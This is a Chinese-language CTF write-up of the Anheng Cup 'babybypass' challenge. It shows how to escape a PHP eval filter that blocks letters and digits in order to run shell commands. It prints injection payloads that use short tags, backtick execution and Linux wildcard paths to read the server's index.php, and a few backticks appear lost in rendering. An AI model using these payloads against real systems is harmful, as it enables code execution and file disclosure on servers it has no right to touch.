安恆杯月賽babybypass 不用英文數字getshell(一)
阿新 • • 發佈:2018-11-10
BABYBYPASS
先貼程式碼:
①限制字元長度35個 ②不能使用英文字母和數字和 _ $
最後提示有個getFlag()函式,從這個函式入手。
我們的第一思路是直接eval執行getFlag函式,但是這裡過濾了 _ $ 無法通過異或的方法構造英文字母 所以最終這道題目思路是通過eval函式執行系統命令,檢視index.php。
用到的知識點
①linux萬用字元 * ? ②php短標籤<??> ③linux一切皆檔案 ④apache預設存放網頁路徑
linux萬用字元
*代表任意個字元,?代表一個字元
php短標籤
可以用<?='命令'?>。這樣就不用寫 繞過了這部分的英文字母
一切皆檔案
我們linux用到的命令例如ls,cat等命令都是檔案,存放於/bin目錄下面,也可以這樣使用/bin/cat /bin/ls。
apache預設存放網頁的路徑
/var/www/html ,現在有很多一鍵安裝的面板wdlinux和phpstudy等目錄會改變。
一步一步分析
①現在假設程式碼是這樣的(本地試了下)沒有任何過濾
index.php
flag.php
這種情況我們直接
?code=?><?php getFlag()?>
或者
code=?><?php echo `/bin/cat /var/www/html/index.php` ?>(要檢視原始碼才能顯示程式碼)
也可以用短標籤試一下:
?code=?><?=getFlag()?> code=?><?=`/bin/cat /var/www/html/index.php`; ?>
細節:
為什麼code=?>,為什麼要先閉合呢?
不讓直接傳<? php,
說是得先離開後進入那就 ?> <? php就可以了
②現在程式碼做了過濾,過濾了英文數字_$和長度,就是原來的題目。
因為執行的系統命令,我們可以用linux萬用字元
/bin/cat /var/www/html/index.php>變成 /???/??? /???/???/????/????????? 但這樣會超過長度,所有最後的index.php直接換成*就好了 /???/??? /???/???/????/*
那
=?><?=/???/??? /???/???/????/*
;?>
為什麼要用`而不是‘’,瀏覽器會進行編碼破壞掉了',而
可以作為'使用但是不會被編碼